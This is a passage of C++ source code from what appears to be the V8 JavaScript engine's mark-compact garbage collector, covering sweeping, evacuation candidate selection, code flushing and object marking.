if (heap()->concurrent_sweeping_enabled() && !IsSweepingCompleted()) {
SweepInParallel(heap()->paged_space(space->identity()), 0);
space->RefillFreeList();
}
}
void MarkCompactCollector::EnsureSweepingCompleted() {
DCHECK(sweeping_in_progress_ == true);
// If sweeping is not completed or not running at all, we try to complete it
// here.
if (!heap()->concurrent_sweeping_enabled() || !IsSweepingCompleted()) {
SweepInParallel(heap()->paged_space(OLD_SPACE), 0);
SweepInParallel(heap()->paged_space(CODE_SPACE), 0);
SweepInParallel(heap()->paged_space(MAP_SPACE), 0);
}
if (heap()->concurrent_sweeping_enabled()) {
pending_sweeper_tasks_semaphore_.Wait();
pending_sweeper_tasks_semaphore_.Wait();
pending_sweeper_tasks_semaphore_.Wait();
}
ParallelSweepSpacesComplete();
sweeping_in_progress_ = false;
heap()->old_space()->RefillFreeList();
heap()->code_space()->RefillFreeList();
heap()->map_space()->RefillFreeList();
#ifdef VERIFY_HEAP
if (FLAG_verify_heap && !evacuation()) {
VerifyEvacuation(heap_);
}
#endif
}
bool MarkCompactCollector::IsSweepingCompleted() {
if (!pending_sweeper_tasks_semaphore_.WaitFor(
base::TimeDelta::FromSeconds(0))) {
return false;
}
pending_sweeper_tasks_semaphore_.Signal();
return true;
}
void Marking::TransferMark(Heap* heap, Address old_start, Address new_start) {
// This is only used when resizing an object.
DCHECK(MemoryChunk::FromAddress(old_start) ==
MemoryChunk::FromAddress(new_start));
if (!heap->incremental_marking()->IsMarking()) return;
// If the mark doesn't move, we don't check the color of the object.
// It doesn't matter whether the object is black, since it hasn't changed
// size, so the adjustment to the live data count will be zero anyway.
if (old_start == new_start) return;
MarkBit new_mark_bit = MarkBitFrom(new_start);
MarkBit old_mark_bit = MarkBitFrom(old_start);
#ifdef DEBUG
ObjectColor old_color = Color(old_mark_bit);
#endif
if (Marking::IsBlack(old_mark_bit)) {
Marking::BlackToWhite(old_mark_bit);
Marking::MarkBlack(new_mark_bit);
return;
} else if (Marking::IsGrey(old_mark_bit)) {
Marking::GreyToWhite(old_mark_bit);
heap->incremental_marking()->WhiteToGreyAndPush(
HeapObject::FromAddress(new_start), new_mark_bit);
heap->incremental_marking()->RestartIfNotMarking();
}
#ifdef DEBUG
ObjectColor new_color = Color(new_mark_bit);
DCHECK(new_color == old_color);
#endif
}
const char* AllocationSpaceName(AllocationSpace space) {
switch (space) {
case NEW_SPACE:
return "NEW_SPACE";
case OLD_SPACE:
return "OLD_SPACE";
case CODE_SPACE:
return "CODE_SPACE";
case MAP_SPACE:
return "MAP_SPACE";
case LO_SPACE:
return "LO_SPACE";
default:
UNREACHABLE();
}
return NULL;
}
void MarkCompactCollector::CollectEvacuationCandidates(PagedSpace* space) {
DCHECK(space->identity() == OLD_SPACE || space->identity() == CODE_SPACE);
int number_of_pages = space->CountTotalPages();
int area_size = space->AreaSize();
// Pairs of (live_bytes_in_page, page).
std::vector<std::pair<int, Page*> > pages;
pages.reserve(number_of_pages);
PageIterator it(space);
while (it.has_next()) {
Page* p = it.next();
if (p->NeverEvacuate()) continue;
if (p->IsFlagSet(Page::POPULAR_PAGE)) {
// This page had slots buffer overflow on previous GC, skip it.
p->ClearFlag(Page::POPULAR_PAGE);
continue;
}
// Invariant: Evacuation candidates are just created when marking is
// started. At the end of a GC all evacuation candidates are cleared and
// their slot buffers are released.
CHECK(!p->IsEvacuationCandidate());
CHECK(p->slots_buffer() == NULL);
DCHECK(p->area_size() == area_size);
int live_bytes =
p->WasSwept() ? p->LiveBytesFromFreeList() : p->LiveBytes();
pages.push_back(std::make_pair(live_bytes, p));
}
int candidate_count = 0;
int total_live_bytes = 0;
bool reduce_memory = heap()->ShouldReduceMemory();
if (FLAG_manual_evacuation_candidates_selection) {
for (size_t i = 0; i < pages.size(); i++) {
Page* p = pages[i].second;
if (p->IsFlagSet(MemoryChunk::FORCE_EVACUATION_CANDIDATE_FOR_TESTING)) {
candidate_count++;
total_live_bytes += pages[i].first;
p->ClearFlag(MemoryChunk::FORCE_EVACUATION_CANDIDATE_FOR_TESTING);
AddEvacuationCandidate(p);
}
}
} else if (FLAG_stress_compaction) {
for (size_t i = 0; i < pages.size(); i++) {
Page* p = pages[i].second;
if (i % 2 == 0) {
candidate_count++;
total_live_bytes += pages[i].first;
AddEvacuationCandidate(p);
}
}
} else {
const int kTargetFragmentationPercent = 50;
const int kMaxEvacuatedBytes = 4 * Page::kPageSize;
const int kTargetFragmentationPercentForReduceMemory = 20;
const int kMaxEvacuatedBytesForReduceMemory = 12 * Page::kPageSize;
int max_evacuated_bytes;
int target_fragmentation_percent;
if (reduce_memory) {
target_fragmentation_percent = kTargetFragmentationPercentForReduceMemory;
max_evacuated_bytes = kMaxEvacuatedBytesForReduceMemory;
} else {
target_fragmentation_percent = kTargetFragmentationPercent;
max_evacuated_bytes = kMaxEvacuatedBytes;
}
intptr_t free_bytes_threshold =
target_fragmentation_percent * (area_size / 100);
// Sort pages from the most free to the least free, then select
// the first n pages for evacuation such that:
// - the total size of evacuated objects does not exceed the specified
// limit.
// - fragmentation of (n+1)-th page does not exceed the specified limit.
std::sort(pages.begin(), pages.end());
for (size_t i = 0; i < pages.size(); i++) {
int live_bytes = pages[i].first;
int free_bytes = area_size - live_bytes;
if (FLAG_always_compact ||
(free_bytes >= free_bytes_threshold &&
total_live_bytes + live_bytes <= max_evacuated_bytes)) {
candidate_count++;
total_live_bytes += live_bytes;
}
if (FLAG_trace_fragmentation_verbose) {
PrintF(
"Page in %s: %d KB free [fragmented if this >= %d KB], "
"sum of live bytes in fragmented pages %d KB [max is %d KB]\n",
AllocationSpaceName(space->identity()),
static_cast<int>(free_bytes / KB),
static_cast<int>(free_bytes_threshold / KB),
static_cast<int>(total_live_bytes / KB),
static_cast<int>(max_evacuated_bytes / KB));
}
}
// How many pages we will allocated for the evacuated objects
// in the worst case: ceil(total_live_bytes / area_size)
int estimated_new_pages = (total_live_bytes + area_size - 1) / area_size;
DCHECK_LE(estimated_new_pages, candidate_count);
int estimated_released_pages = candidate_count - estimated_new_pages;
// Avoid (compact -> expand) cycles.
if (estimated_released_pages == 0 && !FLAG_always_compact)
candidate_count = 0;
for (int i = 0; i < candidate_count; i++) {
AddEvacuationCandidate(pages[i].second);
}
}
if (FLAG_trace_fragmentation) {
PrintF(
"Collected %d evacuation candidates [%d KB live] for space %s "
"[mode %s]\n",
candidate_count, static_cast<int>(total_live_bytes / KB),
AllocationSpaceName(space->identity()),
(reduce_memory ? "reduce memory footprint" : "normal"));
}
}
void MarkCompactCollector::AbortCompaction() {
if (compacting_) {
int npages = evacuation_candidates_.length();
for (int i = 0; i < npages; i++) {
Page* p = evacuation_candidates_[i];
slots_buffer_allocator_->DeallocateChain(p->slots_buffer_address());
p->ClearEvacuationCandidate();
p->ClearFlag(MemoryChunk::RESCAN_ON_EVACUATION);
}
compacting_ = false;
evacuation_candidates_.Rewind(0);
}
DCHECK_EQ(0, evacuation_candidates_.length());
}
void MarkCompactCollector::Prepare() {
was_marked_incrementally_ = heap()->incremental_marking()->IsMarking();
#ifdef DEBUG
DCHECK(state_ == IDLE);
state_ = PREPARE_GC;
#endif
DCHECK(!FLAG_never_compact || !FLAG_always_compact);
if (sweeping_in_progress()) {
// Instead of waiting we could also abort the sweeper threads here.
EnsureSweepingCompleted();
}
// If concurrent unmapping tasks are still running, we should wait for
// them here.
heap()->WaitUntilUnmappingOfFreeChunksCompleted();
// Clear marking bits if incremental marking is aborted.
if (was_marked_incrementally_ && heap_->ShouldAbortIncrementalMarking()) {
heap()->incremental_marking()->Stop();
ClearMarkbits();
AbortWeakCollections();
AbortWeakCells();
AbortCompaction();
was_marked_incrementally_ = false;
}
// Don't start compaction if we are in the middle of incremental
// marking cycle. We did not collect any slots.
if (!FLAG_never_compact && !was_marked_incrementally_) {
StartCompaction(NON_INCREMENTAL_COMPACTION);
}
PagedSpaces spaces(heap());
for (PagedSpace* space = spaces.next(); space != NULL;
space = spaces.next()) {
space->PrepareForMarkCompact();
}
#ifdef VERIFY_HEAP
if (!was_marked_incrementally_ && FLAG_verify_heap) {
VerifyMarkbitsAreClean();
}
#endif
}
void MarkCompactCollector::Finish() {
#ifdef DEBUG
DCHECK(state_ == SWEEP_SPACES || state_ == RELOCATE_OBJECTS);
state_ = IDLE;
#endif
// The stub cache is not traversed during GC; clear the cache to
// force lazy re-initialization of it. This must be done after the
// GC, because it relies on the new address of certain old space
// objects (empty string, illegal builtin).
isolate()->stub_cache()->Clear();
if (have_code_to_deoptimize_) {
// Some code objects were marked for deoptimization during the GC.
Deoptimizer::DeoptimizeMarkedCode(isolate());
have_code_to_deoptimize_ = false;
}
heap_->incremental_marking()->ClearIdleMarkingDelayCounter();
}
// -------------------------------------------------------------------------
// Phase 1: tracing and marking live objects.
// before: all objects are in normal state.
// after: a live object's map pointer is marked as '00'.
// Marking all live objects in the heap as part of mark-sweep or mark-compact
// collection. Before marking, all objects are in their normal state. After
// marking, live objects' map pointers are marked indicating that the object
// has been found reachable.
//
// The marking algorithm is a (mostly) depth-first (because of possible stack
// overflow) traversal of the graph of objects reachable from the roots. It
// uses an explicit stack of pointers rather than recursion. The young
// generation's inactive ('from') space is used as a marking stack. The
// objects in the marking stack are the ones that have been reached and marked
// but their children have not yet been visited.
//
// The marking stack can overflow during traversal. In that case, we set an
// overflow flag. When the overflow flag is set, we continue marking objects
// reachable from the objects on the marking stack, but no longer push them on
// the marking stack. Instead, we mark them as both marked and overflowed.
// When the stack is in the overflowed state, objects marked as overflowed
// have been reached and marked but their children have not been visited yet.
// After emptying the marking stack, we clear the overflow flag and traverse
// the heap looking for objects marked as overflowed, push them on the stack,
// and continue with marking. This process repeats until all reachable
// objects have been marked.
void CodeFlusher::ProcessJSFunctionCandidates() {
Code* lazy_compile = isolate_->builtins()->builtin(Builtins::kCompileLazy);
Object* undefined = isolate_->heap()->undefined_value();
JSFunction* candidate = jsfunction_candidates_head_;
JSFunction* next_candidate;
while (candidate != NULL) {
next_candidate = GetNextCandidate(candidate);
ClearNextCandidate(candidate, undefined);
SharedFunctionInfo* shared = candidate->shared();
Code* code = shared->code();
MarkBit code_mark = Marking::MarkBitFrom(code);
if (Marking::IsWhite(code_mark)) {
if (FLAG_trace_code_flushing && shared->is_compiled()) {
PrintF("[code-flushing clears: ");
shared->ShortPrint();
PrintF(" - age: %d]\n", code->GetAge());
}
// Always flush the optimized code map if there is one.
if (!shared->optimized_code_map()->IsSmi()) {
shared->ClearOptimizedCodeMap();
}
shared->set_code(lazy_compile);
candidate->set_code(lazy_compile);
} else {
DCHECK(Marking::IsBlack(code_mark));
candidate->set_code(code);
}
// We are in the middle of a GC cycle so the write barrier in the code
// setter did not record the slot update and we have to do that manually.
Address slot = candidate->address() + JSFunction::kCodeEntryOffset;
Code* target = Code::cast(Code::GetObjectFromEntryAddress(slot));
isolate_->heap()->mark_compact_collector()->RecordCodeEntrySlot(
candidate, slot, target);
Object** shared_code_slot =
HeapObject::RawField(shared, SharedFunctionInfo::kCodeOffset);
isolate_->heap()->mark_compact_collector()->RecordSlot(
shared, shared_code_slot, *shared_code_slot);
candidate = next_candidate;
}
jsfunction_candidates_head_ = NULL;
}
void CodeFlusher::ProcessSharedFunctionInfoCandidates() {
Code* lazy_compile = isolate_->builtins()->builtin(Builtins::kCompileLazy);
SharedFunctionInfo* candidate = shared_function_info_candidates_head_;
SharedFunctionInfo* next_candidate;
while (candidate != NULL) {
next_candidate = GetNextCandidate(candidate);
ClearNextCandidate(candidate);
Code* code = candidate->code();
MarkBit code_mark = Marking::MarkBitFrom(code);
if (Marking::IsWhite(code_mark)) {
if (FLAG_trace_code_flushing && candidate->is_compiled()) {
PrintF("[code-flushing clears: ");
candidate->ShortPrint();
PrintF(" - age: %d]\n", code->GetAge());
}
// Always flush the optimized code map if there is one.
if (!candidate->optimized_code_map()->IsSmi()) {
candidate->ClearOptimizedCodeMap();
}
candidate->set_code(lazy_compile);
}
Object** code_slot =
HeapObject::RawField(candidate, SharedFunctionInfo::kCodeOffset);
isolate_->heap()->mark_compact_collector()->RecordSlot(candidate, code_slot,
*code_slot);
candidate = next_candidate;
}
shared_function_info_candidates_head_ = NULL;
}
void CodeFlusher::EvictCandidate(SharedFunctionInfo* shared_info) {
// Make sure previous flushing decisions are revisited.
isolate_->heap()->incremental_marking()->RecordWrites(shared_info);
if (FLAG_trace_code_flushing) {
PrintF("[code-flushing abandons function-info: ");
shared_info->ShortPrint();
PrintF("]\n");
}
SharedFunctionInfo* candidate = shared_function_info_candidates_head_;
SharedFunctionInfo* next_candidate;
if (candidate == shared_info) {
next_candidate = GetNextCandidate(shared_info);
shared_function_info_candidates_head_ = next_candidate;
ClearNextCandidate(shared_info);
} else {
while (candidate != NULL) {
next_candidate = GetNextCandidate(candidate);
if (next_candidate == shared_info) {
next_candidate = GetNextCandidate(shared_info);
SetNextCandidate(candidate, next_candidate);
ClearNextCandidate(shared_info);
break;
}
candidate = next_candidate;
}
}
}
void CodeFlusher::EvictCandidate(JSFunction* function) {
DCHECK(!function->next_function_link()->IsUndefined());
Object* undefined = isolate_->heap()->undefined_value();
// Make sure previous flushing decisions are revisited.
isolate_->heap()->incremental_marking()->RecordWrites(function);
isolate_->heap()->incremental_marking()->RecordWrites(function->shared());
if (FLAG_trace_code_flushing) {
PrintF("[code-flushing abandons closure: ");
function->shared()->ShortPrint();
PrintF("]\n");
}
JSFunction* candidate = jsfunction_candidates_head_;
JSFunction* next_candidate;
if (candidate == function) {
next_candidate = GetNextCandidate(function);
jsfunction_candidates_head_ = next_candidate;
ClearNextCandidate(function, undefined);
} else {
while (candidate != NULL) {
next_candidate = GetNextCandidate(candidate);
if (next_candidate == function) {
next_candidate = GetNextCandidate(function);
SetNextCandidate(candidate, next_candidate);
ClearNextCandidate(function, undefined);
break;
}
candidate = next_candidate;
}
}
}
void CodeFlusher::EvictJSFunctionCandidates() {
JSFunction* candidate = jsfunction_candidates_head_;
JSFunction* next_candidate;
while (candidate != NULL) {
next_candidate = GetNextCandidate(candidate);
EvictCandidate(candidate);
candidate = next_candidate;
}
DCHECK(jsfunction_candidates_head_ == NULL);
}
void CodeFlusher::EvictSharedFunctionInfoCandidates() {
SharedFunctionInfo* candidate = shared_function_info_candidates_head_;
SharedFunctionInfo* next_candidate;
while (candidate != NULL) {
next_candidate = GetNextCandidate(candidate);
EvictCandidate(candidate);
candidate = next_candidate;
}
DCHECK(shared_function_info_candidates_head_ == NULL);
}
void CodeFlusher::IteratePointersToFromSpace(ObjectVisitor* v) {
Heap* heap = isolate_->heap();
JSFunction** slot = &jsfunction_candidates_head_;
JSFunction* candidate = jsfunction_candidates_head_;
while (candidate != NULL) {
if (heap->InFromSpace(candidate)) {
v->VisitPointer(reinterpret_cast<Object**>(slot));
}
candidate = GetNextCandidate(*slot);
slot = GetNextCandidateSlot(*slot);
}
}
MarkCompactCollector::~MarkCompactCollector() {
if (code_flusher_ != NULL) {
delete code_flusher_;
code_flusher_ = NULL;
}
}
class MarkCompactMarkingVisitor
: public StaticMarkingVisitor<MarkCompactMarkingVisitor> {
public:
static void Initialize();
INLINE(static void VisitPointer(Heap* heap, HeapObject* object, Object** p)) {
MarkObjectByPointer(heap->mark_compact_collector(), object, p);
}
INLINE(static void VisitPointers(Heap* heap, HeapObject* object,
Object** start, Object** end)) {
// Mark all objects pointed to in [start, end).
const int kMinRangeForMarkingRecursion = 64;
if (end - start >= kMinRangeForMarkingRecursion) {
if (VisitUnmarkedObjects(heap, object, start, end)) return;
// We are close to a stack overflow, so just mark the objects.
}
MarkCompactCollector* collector = heap->mark_compact_collector();
for (Object** p = start; p < end; p++) {
MarkObjectByPointer(collector, object, p);
}
}
// Marks the object black and pushes it on the marking stack.
INLINE(static void MarkObject(Heap* heap, HeapObject* object)) {
MarkBit mark = Marking::MarkBitFrom(object);
heap->mark_compact_collector()->MarkObject(object, mark);
}
// Marks the object black without pushing it on the marking stack.
// Returns true if object needed marking and false otherwise.
INLINE(static bool MarkObjectWithoutPush(Heap* heap, HeapObject* object)) {
MarkBit mark_bit = Marking::MarkBitFrom(object);
if (Marking::IsWhite(mark_bit)) {
heap->mark_compact_collector()->SetMark(object, mark_bit);
return true;
}
return false;
}
// Mark object pointed to by p.
INLINE(static void MarkObjectByPointer(MarkCompactCollector* collector,
HeapObject* object, Object** p)) {
if (!(*p)->IsHeapObject()) return;
HeapObject* target_object = HeapObject::cast(*p);
collector->RecordSlot(object, p, target_object);
MarkBit mark = Marking::MarkBitFrom(target_object);
collector->MarkObject(target_object, mark);
}
// Visit an unmarked object.
INLINE(static void VisitUnmarkedObject(MarkCompactCollector* collector,
HeapObject* obj)) {
#ifdef DEBUG
DCHECK(collector->heap()->Contains(obj));
DCHECK(!collector->heap()->mark_compact_collector()->IsMarked(obj));
#endif
Map* map = obj->map();
Heap* heap = obj->GetHeap();
MarkBit mark = Marking::MarkBitFrom(obj);
heap->mark_compact_collector()->SetMark(obj, mark);
// Mark the map pointer and the body.
MarkBit map_mark = Marking::MarkBitFrom(map);
heap->mark_compact_collector()->MarkObject(map, map_mark);
IterateBody(map, obj);
}
// Visit all unmarked objects pointed to by [start, end).
// Returns false if the operation fails (lack of stack space).
INLINE(static bool VisitUnmarkedObjects(Heap* heap, HeapObject* object,
Object** start, Object** end)) {
// Return false is we are close to the stack limit.
StackLimitCheck check(heap->isolate());
if (check.HasOverflowed()) return false;
MarkCompactCollector* collector = heap->mark_compact_collector();
// Visit the unmarked objects.
for (Object** p = start; p < end; p++) {
Object* o = *p;
if (!o->IsHeapObject()) continue;
collector->RecordSlot(object, p, o);
HeapObject* obj = HeapObject::cast(o);
MarkBit mark = Marking::MarkBitFrom(obj);
if (Marking::IsBlackOrGrey(mark)) continue;
VisitUnmarkedObject(collector, obj);
}
return true;
}
private:
template <int id>
static inline void TrackObjectStatsAndVisit(Map* map, HeapObject* obj);
// Code flushing support.
static const int kRegExpCodeThreshold = 5;
static void UpdateRegExpCodeAgeAndFlush(Heap* heap, JSRegExp* re,
bool is_one_byte) {
// Make sure that the fixed array is in fact initialized on the RegExp.
// We could potentially trigger a GC when initializing the RegExp.
if (HeapObject::cast(re->data())->map()->instance_type() !=
FIXED_ARRAY_TYPE)
return;
// Make sure this is a RegExp that actually contains code.
if (re->TypeTag() != JSRegExp::IRREGEXP) return;
Object* code = re->DataAt(JSRegExp::code_index(is_one_byte));
if (!code->IsSmi() &&
HeapObject::cast(code)->map()->instance_type() == CODE_TYPE) {
// Save a copy that can be reinstated if we need the code again.
re->SetDataAt(JSRegExp::saved_code_index(is_one_byte), code);
// Saving a copy might create a pointer into compaction candidate
// that was not observed by marker. This might happen if JSRegExp data
// was marked through the compilation cache before marker reached JSRegExp
// object.
FixedArray* data = FixedArray::cast(re->data());
Object** slot =
data->data_start() + JSRegExp::saved_code_index(is_one_byte);
heap->mark_compact_collector()->RecordSlot(data, slot, code);
// Set a number in the 0-255 range to guarantee no smi overflow.
re->SetDataAt(JSRegExp::code_index(is_one_byte),
Smi::FromInt(heap->ms_count() & 0xff));
} else if (code->IsSmi()) {
int value = Smi::cast(code)->value();
// The regexp has not been compiled yet or there was a compilation error.
if (value == JSRegExp::kUninitializedValue ||
value == JSRegExp::kCompilationErrorValue) {
return;
}
// Check if we should flush now.
if (value == ((heap->ms_count() - kRegExpCodeThreshold) & 0xff)) {
re->SetDataAt(JSRegExp::code_index(is_one_byte),
Smi::FromInt(JSRegExp::kUninitializedValue));
re->SetDataAt(JSRegExp::saved_code_index(is_one_byte),
Smi::FromInt(JSRegExp::kUninitializedValue));
}
}
}
// Works by setting the current sweep_generation (as a smi) in the
// code object place in the data array of the RegExp and keeps a copy
// around that can be reinstated if we reuse the RegExp before flushing.
// If we did not use the code for kRegExpCodeThreshold mark sweep GCs
// we flush the code.
static void VisitRegExpAndFlushCode(Map* map, HeapObject* object) {
Heap* heap = map->GetHeap();
MarkCompactCollector* collector = heap->mark_compact_collector();
if (!collector->is_code_flushing_enabled()) {
VisitJSRegExp(map, object);
return;
}
JSRegExp* re = reinterpret_cast<JSRegExp*>(object);
// Flush code or set age on both one byte and two byte code.
UpdateRegExpCodeAgeAndFlush(heap, re, true);
UpdateRegExpCodeAgeAndFlush(heap, re, false);
// Visit the fields of the RegExp, including the updated FixedArray.
VisitJSRegExp(map, object);
}
};
void MarkCompactMarkingVisitor::Initialize() {
StaticMarkingVisitor<MarkCompactMarkingVisitor>::Initialize();
table_.Register(kVisitJSRegExp, &VisitRegExpAndFlushCode);
if (FLAG_track_gc_object_stats) {
ObjectStatsVisitor::Initialize(&table_);
}
}
class CodeMarkingVisitor : public ThreadVisitor {
public:
explicit CodeMarkingVisitor(MarkCompactCollector* collector)
: collector_(collector) {}
void VisitThread(Isolate* isolate, ThreadLocalTop* top) {
collector_->PrepareThreadForCodeFlushing(isolate, top);
}
private:
MarkCompactCollector* collector_;
};
class SharedFunctionInfoMarkingVisitor : public ObjectVisitor {
public:
explicit SharedFunctionInfoMarkingVisitor(MarkCompactCollector* collector)
: collector_(collector) {}
void VisitPointers(Object** start, Object** end) override {
for (Object** p = start; p < end; p++) VisitPointer(p);
}
void VisitPointer(Object** slot) override {
Object* obj = *slot;
if (obj->IsSharedFunctionInfo()) {
SharedFunctionInfo* shared = reinterpret_cast<SharedFunctionInfo*>(obj);
MarkBit shared_mark = Marking::MarkBitFrom(shared);
MarkBit code_mark = Marking::MarkBitFrom(shared->code());
collector_->MarkObject(shared->code(), code_mark);
collector_->MarkObject(shared, shared_mark);
}
}
private:
MarkCompactCollector* collector_;
};
void MarkCompactCollector::PrepareThreadForCodeFlushing(Isolate* isolate,
ThreadLocalTop* top) {
for (StackFrameIterator it(isolate, top); !it.done(); it.Advance()) {
// Note: for the frame that has a pending lazy deoptimization
// StackFrame::unchecked_code will return a non-optimized code object for
// the outermost function and StackFrame::LookupCode will return
// actual optimized code object.
StackFrame* frame = it.frame();
Code* code = frame->unchecked_code();
MarkBit code_mark = Marking::MarkBitFrom(code);
MarkObject(code, code_mark);
if (frame->is_optimized()) {
Code* optimized_code = frame->LookupCode();
MarkBit optimized_code_mark = Marking::MarkBitFrom(optimized_code);
MarkObject(optimized_code, optimized_code_mark);
}
}
}
void MarkCompactCollector::PrepareForCodeFlushing() {
// If code flushing is disabled, there is no need to prepare for it.
if (!is_code_flushing_enabled()) return;
// Ensure that empty descriptor array is marked. Method MarkDescriptorArray
// relies on it being marked before any other descriptor array.
HeapObject* descriptor_array = heap()->empty_descriptor_array();
MarkBit descriptor_array_mark = Marking::MarkBitFrom(descriptor_array);
MarkObject(descriptor_array, descriptor_array_mark);
// Make sure we are not referencing the code from the stack.
DCHECK(this == heap()->mark_compact_collector());
PrepareThreadForCodeFlushing(heap()->isolate(),
heap()->isolate()->thread_local_top());
// Iterate the archived stacks in all threads to check if
// the code is referenced.
CodeMarkingVisitor code_marking_visitor(this);
heap()->isolate()->thread_manager()->IterateArchivedThreads(
&code_marking_visitor);
SharedFunctionInfoMarkingVisitor visitor(this);
heap()->isolate()->compilation_cache()->IterateFunctions(&visitor);
heap()->isolate()->handle_scope_implementer()->Iterate(&visitor);
ProcessMarkingDeque();
}
// Visitor class for marking heap roots.
class RootMarkingVisitor : public ObjectVisitor {
public:
explicit RootMarkingVisitor(Heap* heap)
: collector_(heap->mark_compact_collector()) {}
void VisitPointer(Object** p) override { MarkObjectByPointer(p); }
void VisitPointers(Object** start, Object** end) override {
for (Object** p = start; p < end; p++) MarkObjectByPointer(p);
}
// Skip the weak next code link in a code object, which is visited in
// ProcessTopOptimizedFrame.
void VisitNextCodeLink(Object** p) override {}
private:
void MarkObjectByPointer(Object** p) {
if (!(*p)->IsHeapObject()) return;
// Replace flat cons strings in place.
HeapObject* object = HeapObject::cast(*p);
MarkBit mark_bit = Marking::MarkBitFrom(object);
if (Marking::IsBlackOrGrey(mark_bit)) return;
Map* map = object->map();
// Mark the object.
collector_->SetMark(object, mark_bit);
// Mark the map pointer and body, and push them on the marking stack.
MarkBit map_mark = Marking::MarkBitFrom(map);
collector_->MarkObject(map, map_mark);
MarkCompactMarkingVisitor::IterateBody(map, object);
// Mark all the objects reachable from the map and body. May leave
// overflowed objects in the heap.
collector_->EmptyMarkingDeque();
}
MarkCompactCollector* collector_;
};
// Helper class for pruning the string table.
template <bool finalize_external_strings>
class StringTableCleaner : public ObjectVisitor {
public:
explicit StringTableCleaner(Heap* heap) : heap_(heap), pointers_removed_(0) {}
void VisitPointers(Object** start, Object** end) override {
// Visit all HeapObject pointers in [start, end).
for (Object** p = start; p < end; p++) {
Object* o = *p;
if (o->IsHeapObject() &&
Marking::IsWhite(Marking::MarkBitFrom(HeapObject::cast(o)))) {
if (finalize_external_strings) {
DCHECK(o->IsExternalString());
heap_->FinalizeExternalString(String::cast(*p));
} else {
pointers_removed_++;
}
// Set the entry to the_hole_value (as deleted).
*p = heap_->the_hole_value();
}
}
}
int PointersRemoved() {
DCHECK(!finalize_external_strings);
return pointers_removed_;
}
private:
Heap* heap_;
int pointers_removed_;
};
typedef StringTableCleaner<false> InternalizedStringTableCleaner;
typedef StringTableCleaner<true> ExternalStringTableCleaner;
// Implementation of WeakObjectRetainer for mark compact GCs. All marked objects
// are retained.
class MarkCompactWeakObjectRetainer : public WeakObjectRetainer {
public:
virtual Object* RetainAs(Object* object) {
if (Marking::IsBlackOrGrey(
Marking::MarkBitFrom(HeapObject::cast(object)))) {
return object;
} else if (object->IsAllocationSite() &&
!(AllocationSite::cast(object)->IsZombie())) {
// "dead" AllocationSites need to live long enough for a traversal of new
// space. These sites get a one-time reprieve.
AllocationSite* site = AllocationSite::cast(object);
site->MarkZombie();
site->GetHeap()->mark_compact_collector()->MarkAllocationSite(site);
return object;
} else {
return NULL;
}
}
};
// Fill the marking stack with overflowed objects returned by the given
// iterator. Stop when the marking stack is filled or the end of the space
// is reached, whichever comes first.
template <class T>
void MarkCompactCollector::DiscoverGreyObjectsWithIterator(T* it) {
// The caller should ensure that the marking stack is initially not full,
// so that we don't waste effort pointlessly scanning for objects.
DCHECK(!marking_deque()->IsFull());
Map* filler_map = heap()->one_pointer_filler_map();
for (HeapObject* object = it->Next(); object != NULL; object = it->Next()) {
MarkBit markbit = Marking::MarkBitFrom(object);
if ((object->map() != filler_map) && Marking::IsGrey(markbit)) {
Marking::GreyToBlack(markbit);
PushBlack(object);
if (marking_deque()->IsFull()) return;
}
}
}
static inline int MarkWordToObjectStarts(uint32_t mark_bits, int* starts);
void MarkCompactCollector::DiscoverGreyObjectsOnPage(MemoryChunk* p) {
DCHECK(!marking_deque()->IsFull());
DCHECK(strcmp(Marking::kWhiteBitPattern, "00") == 0);
DCHECK(strcmp(Marking::kBlackBitPattern, "10") == 0);
DCHECK(strcmp(Marking::kGreyBitPattern, "11") == 0);
DCHECK(strcmp(Marking::kImpossibleBitPattern, "01") == 0);
for (MarkBitCellIterator it(p); !it.Done(); it.Advance()) {
Address cell_base = it.CurrentCellBase();
MarkBit::CellType* cell = it.CurrentCell();
const MarkBit::CellType current_cell = *cell;
if (current_cell == 0) continue;
MarkBit::CellType grey_objects;
if (it.HasNext()) {
const MarkBit::CellType next_cell = *(cell + 1);
grey_objects = current_cell & ((current_cell >> 1) |
(next_cell << (Bitmap::kBitsPerCell - 1)));
} else {
grey_objects = current_cell & (current_cell >> 1);
}
int offset = 0;
while (grey_objects != 0) {
int trailing_zeros = base::bits::CountTrailingZeros32(grey_objects);
grey_objects >>= trailing_zeros;
offset += trailing_zeros;
MarkBit markbit(cell, 1 << offset);
DCHECK(Marking::IsGrey(markbit));
Marking::GreyToBlack(markbit);
Address addr = cell_base + offset * kPointerSize;
HeapObject* object = HeapObject::FromAddress(addr);
PushBlack(object);
if (marking_deque()->IsFull()) return;
offset += 2;
grey_objects >>= 2;
}
grey_objects >>= (Bitmap::kBitsPerCell - 1);
}
}
int MarkCompactCollector::DiscoverAndEvacuateBlackObjectsOnPage(
NewSpace* new_space, NewSpacePage* p) {
DCHECK(strcmp(Marking::kWhiteBitPattern, "00") == 0);
DCHECK(strcmp(Marking::kBlackBitPattern, "10") == 0);
DCHECK(strcmp(Marking::kGreyBitPattern, "11") == 0);
DCHECK(strcmp(Marking::kImpossibleBitPattern, "01") == 0);
MarkBit::CellType* cells = p->markbits()->cells();
int survivors_size = 0;
for (MarkBitCellIterator it(p); !it.Done(); it.Advance()) {
Address cell_base = it.CurrentCellBase();
MarkBit::CellType* cell = it.CurrentCell();
MarkBit::CellType current_cell = *cell;
if (current_cell == 0) continue;
int offset = 0;
while (current_cell != 0) {
int trailing_zeros = base::bits::CountTrailingZeros32(current_cell);
current_cell >>= trailing_zeros;
offset += trailing_zeros;
Address address = cell_base + offset * kPointerSize;
HeapObject* object = HeapObject::FromAddress(address);
DCHECK(Marking::IsBlack(Marking::MarkBitFrom(object)));
int size = object->Size();
survivors_size += size;
Heap::UpdateAllocationSiteFeedback(object, Heap::RECORD_SCRATCHPAD_SLOT);
offset += 2;
current_cell >>= 2;
// TODO(hpayer): Refactor EvacuateObject and call this function instead.
if (heap()->ShouldBePromoted(object->address(), size) &&
TryPromoteObject(object, size)) {
continue;
}
AllocationAlignment alignment = object->RequiredAlignment();
AllocationResult allocation = new_space->AllocateRaw(size, alignment);
if (allocation.IsRetry()) {
if (!new_space->AddFreshPage()) {
// Shouldn't happen. We are sweeping linearly, and to-space
// has the same number of pages as from-space, so there is
// always room unless we are in an OOM situation.
FatalProcessOutOfMemory("MarkCompactCollector: semi-space copy\n");
}
allocation = new_space->AllocateRaw(size, alignment);
DCHECK(!allocation.IsRetry());
}
Object* target = allocation.ToObjectChecked();
MigrateObject(HeapObject::cast(target), object, size, NEW_SPACE, nullptr);
if (V8_UNLIKELY(target->IsJSArrayBuffer())) {
